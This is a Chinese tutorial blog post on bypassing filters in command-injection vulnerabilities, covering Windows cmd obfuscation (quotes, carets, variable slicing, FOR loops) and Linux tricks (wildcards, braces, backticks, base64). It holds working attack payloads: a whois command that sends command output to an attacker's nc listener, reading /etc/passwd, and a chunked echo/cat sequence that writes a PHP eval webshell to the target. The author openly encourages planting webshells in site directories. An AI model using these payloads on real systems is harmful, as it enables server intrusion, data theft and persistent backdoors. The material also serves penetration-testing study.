文章目录

  • **前言**
  • **一、windows下**
  • 二、进入linux
  • 三、一个有趣的例子
  • 总结

前言

作者:掌控安全-桐镜
今天发散一下思维,聊聊关于命令执行漏洞绕过过滤的方法,让我们一起由浅入深。

一、windows下

1.1 符号与命令的关系
在看一个例子开始之前,首先了解一点,”和^这还有成对的圆括号()符号并不会影响命令的执行。在windows环境下,命令可以不区分大小写

whoami //正常执行
w"h"o"a"m"i //正常执行
w"h"o"a"m"i" //正常执行
wh"“oami //正常执行
wh”“o^am"i //正常执行
((((Whoam”"i)))) //正常执行

当然你可以加无数个”但不能同时连续加2个符号,因为号是cmd中的转义符,跟在他后面的符号会被转义

w""""""""""""“hoami //正常执行
w”"""""""""""“hoa^m”“i //正常执行
w”"""""""""""“hoa^^m”"i //执行错误

如果在命令执行的时候遇到了拦截命令的关键字,那么就可以使用这种方式绕过啦。

1.2 了解set命令和windows变量
我们再了解一下cmd中的set命令和%符号的含义
首先set命令可以用来设置一个变量(环境变量也是变量哦~),那么%符号如下图

set a=1 //设置变量a,值为1
echo a //此时输出结果为"a"
echo %a% //此时输出结果为"1"

可以明显的看出,用两个%括起来的变量,会引用其变量内的值。那也就是说:

set a=whoami //设置变量a的值为whoami
%a% //引用变量a的值,直接执行了whoami命令

这样就可以执行命令了,又或者还可以

set a=who
set b=ami
%a%%b% //正常执行whoami

set a=w""ho
set b=a^mi
%a%%b% //根据前一知识点进行组合,正常执行whoami

set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用变量来执行命令

通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令。如:
Cmd /C “set envar=net user && call echo %envar%”
可以拼接出cmd命令:net user

也可以定义多个环境变量进行拼接命令串,提高静态分析的复杂度:
cmd /c “set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%”

cmd命令的“/C”参数,Cmd /C “string”表示:执行字符串string指定的命令,然后终止。
而启用延迟的环境变量扩展,经常使用 cmd.exe的 /V:ON参数,
/V:ON参数启用时,可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%,也就是可以使用感叹号字符来替代运行时的环境变量值。后面介绍For循环时会需要开启/V:参数延迟变量扩展方式。

1.3 windows进阶,切割字符串!
再进阶一下,命令行有没有类似php或者python之类的语言中的截取字符串的用法呢,当然也是有的。还拿刚才的whoami来举例

%a:~0% //取出a的值中的所有字符
此时正常执行whoami
%a:~0,6% //取出a的值,从第0个位置开始,取6个值
此时因为whoami总共就6个字符,所以取出后正常执行whoami
%a:~0,5% //取5个值,whoam无此命令
%a:~0,4% //取4个值,whoa无此命令

从上图可以看出,截取字符串的语法就是
%变量名:~x,y%
即对变量从第x个元素开始提取,总共取y个字符。
当然也可以写-x,-y,从后往前取
写作-x,可取从后往前数第x位的字符开始,一直到字符的末尾
-y来决定少取几个字符

继续操作
首先set看一下目前有哪些变量可以给我们用呢

第一个a=whoami可以暂时先忽略,是我自己设置的。
我自己电脑上的环境变量还是挺多的,那我几乎可以用这种方式执行任何命令,因为这些变量的值,几乎都有26个字母在了
从简单的开始,如果命令执行不允许空格,被过滤,那么可以

net%CommonProgramFiles:~10,1%user

CommonProgramFiles=C:\Program Files\Common Files
从CommonProgramFiles这个变量中截取,从第10个字符开始,截取后面一个字符,那这个空格就被截取到了(也就是Program和Files中间的那个空格),net user正常执行,当然了,还可以配合符号一起使用

net%CommonProgramFiles:~10,1%user

再列出C盘根目录

dir%CommonProgramFiles:10,1%%commonprogramfiles:0,3%
//10,1对应空格,0,3对应"C:"

那假如环境变量里没有我们需要的字符怎么办呢,那就自己设置呗

set TJ=a bcde/$@";fgphvlrequst?
//比如上面这段组合成一个php一句话不难吧?

看到这里,聪明的你应该已经学会如何使用这种方式来给网站目录里写个webshell了吧。

1.4 逻辑运算符在绕过中的作用
继续往下,相信所有人都知道,|在cmd中,可以连接命令,且只会执行后面那条命令

whoami | ping www.baidu.com
ping www.baidu.com | wh""oam^i
//两条命令都只会执行后面的

而||符号的情况下,只有前面的命令失败,才会执行后面的语句

ping 127.0.0.1 || whoami //不执行whoami
ping xxx. || whoami //执行whoami

而&符号,前面的命令可以成功也可以失败,都会执行后面的命令,其实也可以说是只要有一条命令能执行就可以了,但whoami放在前面基本都会被检测

ping 127.0.0.1 & whoami //执行whoami
ping xxx. & whoami //执行whoami

而&&符号就必须两条命令都为真才可以了

ping www.baidu.com -n 1 && whoami //执行whoami
ping www && whoami //不执行whoami

1.5利用For循环拼接命令
For循环经常被用来混淆处理cmd命令,使得cmd命令看起来复杂且难以检测。最常用的For循环参数有 /L,/F参数。
FOR 参数 %变量名 IN (相关文件或命令) DO 执行的命令

for /L %variable in (start,step,end) do command [command-parameters]
该命令表示以增量形式从开始到结束的一个数字序列。
使用迭代变量设置起始值(start).
然后逐步执行一组范围的值,直到该值超过所设置的终止值 (end)。
/L 将通过对start与end进行比较来执行迭代变量。
如果start小于end,就会执行该命令,否则命令解释程序退出此循环。
还可以使用负的 step以递减数值的方式逐步执行此范围内的值。
例如,(1,1,5) 生成序列 1 2 3 4 5,
而 (5,-1,1) 则生成序列 (5 4 3 2 1)。
命令cmd /C “for /L %i in (1,1,5) do start cmd”
会执行打开5个cmd窗口。

/F参数: 是最强大的命令,用来处理文件和一些命令的输出结果。

FOR /F [“options”] %variable IN (file-set) DO command [command-parameters]
FOR /F [“options”] %variable IN (“string”) DO command [command-parameters]
FOR /F [“options”] %variable IN (‘command’) DO command [command-parameters]
(file-set) 为文件名,for会依次将file-set中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白行。

(“string”)代表字符串,(‘command’)代表命令。

假如文件aa.txt中有如下内容:
第1行第1列 第1行第2列
第2行第1列 第2行第2列

要想读出aa.txt中的内容,可以用for /F %i in (aa.txt) do echo %i

如果去掉/F参数则只会输出aa.txt,并不会读取其中的内容。

先从括号执行,因为含有参数/F,所以for会先打开aa.txt,然后读出aa.txt里面的所有内容,把它作为一个集合,并且以每一行作为一个元素。

由上图可见,并没有输出第二列的内容.
原因是如果没有指定"delims=符号列表"这个开关
那么for /F语句会默认以空格键或Tab键作为分隔符。
For /F是以行为单位来处理文本文件的,如果我们想把每一行再分解成更小的内容,就使用delims和tokens选项。delims用来告诉for每一行用什么作为分隔符,默认分隔符是空格和Tab键。
for /F "delims= " %i in (aa.txt) do echo %i
将delims设置为空格,是将每个元素以空格分割,默认只取分割之后的第一个元素。如果我们想得到第二列数据,就要用到tokens=2,来指定通过delims将每一行分成更小的元素时,要取出哪一个或哪几个元素:
for /F "tokens=2 delims= " %i in (aa.txt) do echo %i

二、进入linux

2.1 linux下的符号和逻辑运算符
这个时候有好奇的观众朋友就要问了,那对方服务器是linux的话怎么办呢?
道理也是相同的

a=who
b=ami
aaab

只不过windows的cmd下取变量值需要用两个%,linux下需要用$
那么我们又可以怎么组合呢,接着来看
Linux下用分号表示命令结束后执行后面的命令,无论前面的命令是否成功

ping www. ; whoami
echo tj ; whoami

符号|在linux中,可以连接命令,和win一样,也只会执行后面那条命令
其他符号如|| 、& 、&&和windows都是一样,不再过多赘述
那么让我们根据以上两点进行一个结合

t=l; j=s; i=" -al"; tttj$i

2.2 利用未被过滤的命令,一个例子!
哥哥们看图好了

自己服务器中:nc -lvvp 端口
payload发送给对方:whois -h ip -p 端口 命令 //``为反引号
//下图以自身服务器的1234端口作演示,实际情况根据个人更改

使用whois来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求,
对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看

2.3 linux进阶,符号之间的组合
继续说回来,刚才我说了,windows下双引号和幂运算符号都不会影响命令的执行,linux也同理,如下图

wh\oami
wh1oamiwho1oami who1oamiwho@ami
whoa$*mi

在绕过时,不管是windows还是linux,都可以自写fuzz脚本来进行测试

在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制

which whoami //找到whoami路径
/u?r/?in/wh?am?
which ifconfig //找到ifconfig
/us?/sbin/if?onfig

同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

//bin/whmi
/us*/in/whomi

组合起来!

/s?/?n/w?o*i

2.4 linux深入,命令中的命令
Linux中,反引号的作用是把括起来的字符当做命令执行

666whoami666
666\whoami666
//命令执行后的结果在2个666中间

至于第二条命令为什么加个\上面已经解释过了
我们再次组合起来

w\saldkj2190ho\12wsa2am\foj11i
wh(70shuai)oa(70shuai)oa(70shuai)oa(fengfeng)mi

2.5 利用linux中的环境变量
linux是否能像windows那样,使用环境变量里的字符执行变量呢,当然也是可以的。我就喜欢把一个命令写的好长,让别人看不懂,这样就感觉很厉害的样子
首先echo $PATH

Linux下严格区分大小写,不可以写成$path,但windows可以,细心的小伙伴可能发现前面windows下我写过CommonProgramFiles,也写过commonprogramfiles
接着我们来截取字符串,我懒得数
echo ${#PATH}

长度为145-1=144
如果我现在要查看/root/目录下的123.txt文件,就可以像下图一样操作
cat ${PATH:136:6}123.txt

那么相信让你拼接成想要的命令都不难吧,至于怎么设置变量然后去引用,不过多赘述,道理都是相同的,我找字符找的眼睛快瞎了
PATH:91:1h{PATH:91:1}hPATH:91:1h{PATH:139:1}aPATH:103:1{PATH:103:1}PATH:103:1{PATH:143:1}

2.6 使用大括号绕过空格过滤
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格
{ls,-alt}

再比如cat /etc/passwd命令中间的空格
{cat,/etc/passwd}

2.7 了解重定向符号在绕过中的作用
我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里
ls<>alt

2.8 linux中特殊的base64编码
我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

echo whoami|base64 //先输出whoami的base64编码
echo dwhvYW1pCg==|base64 -d //将其base64解码

再次强调用反引号括起来的值会被当做命令执行

三、一个有趣的例子

咱们再根据base64进行一次发散思维。如果某处存在命令执行但是限制了长度,我们可以利用这种方式来写一个密码为123的webshell一句话木马。

echo “<?php @eval($_POST[123]);?>” | base64
//输出一句话的base64编码
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;

然后组合base64解码并生成php文件

cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;

base64 -d s>z;
cp z tj.php;

大体思路就是用echo不断写入或者也可以用>>来追加写入,拼接成一个文件,最后cp或者mv成一个文件
echo -n是令其后面不会加入自动换行,方便拼接。逐步解释要写很多,建议有点懵的哥哥一句一句执行,然后依次查看结果

那在写shell的时候命令被过滤了怎么办呢,那就回到刚才的办法中尝试绕过啦

总结

在实际绕过中,可以用多种方式来组合测试进行绕过,可以看出本篇多次使用各种组合来执行命令,主要是希望哥哥们多去尝试,发散思维

                                    **扫码关注公众号**

绕过WAF运行命令执行漏洞的方法大全相关推荐

  1. DVWA系列之10 命令执行漏洞的挖掘与防御

    通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过 ...

  2. 远程命令执行漏洞与远程代码执行漏洞33333

    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...

  3. 简谈命令执行漏洞绕过过滤

    原文: https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247503891&idx=1&sn=791096c5cb ...

  4. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

  5. 代码审计-dubbo admin =2.6.1远程命令执行漏洞

    前置 输入材料 安全目标和需求 架构分析 供应链安全 源代码审查 依赖结构矩阵(Dependency Structure Matrices,DSM) 数据流 信任边界 数据存贮 威胁列表 otter ...

  6. 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

    本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...

  7. php代码审计命令执行,PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: $target=$_REQUEST['ip']; $cmd = sh ...

  8. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

  9. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

最新文章

  1. linux学习笔记一
  2. 微信支付报错:app没有获取微信支付权限
  3. 智点创科机器人_秒会机器人教育_秒会机器人教育加盟_秒会机器人教育加盟费多少钱-武汉智点创科机器人科技发展有限公司-项目网...
  4. 怎么把图片存入mysql_如何把图片存储到mysql数据库中
  5. C++成员变量初始化顺序问题
  6. 分布式系统之通信技术学习
  7. Node.js 应用的内存泄漏问题的检测方法
  8. TensorFlow 2.0 mnist手写数字识别(CNN卷积神经网络)
  9. spring mvc controller间跳转 重定向 传参
  10. 程序员真实写真:35岁前成功的12条黄金法则 (转)
  11. Android版-支付宝APP支付
  12. [Js-Java SE]文件/文件夹复制(递归)
  13. VC2013同一个工程生成的exe文件显示不同的图标
  14. linux基础ppt下载,《Linux基础》PPT课件.ppt
  15. IT运维服务整体方案(资料下载)
  16. uwsgi+nginx高并发下报错500
  17. java 计算器 junit测试_Java Junit测试
  18. ST_Intersection
  19. 动态贴纸android,带你一步步分析和实现 Android 贴纸功能
  20. Matlab:实现绘制启动超音速风洞的稳定条件(附完整源码)

热门文章

  1. assert预处理宏与预处理变量
  2. c语言两个线性表la lb,线性表La和线性表Lb合并
  3. 开源IM软件----rabbit
  4. 简单实现将商品加入购物车(初级)
  5. 洛谷1498 南蛮图腾
  6. 软件设计师(二):操作系统基本原理
  7. 易优cms compare 比较标签使用方法
  8. Python编程经常用到的英语及翻译
  9. 怎么将视频中的声音提取出来?
  10. 快来,宇信科技发布近百个人才岗位定制,薪资高达15K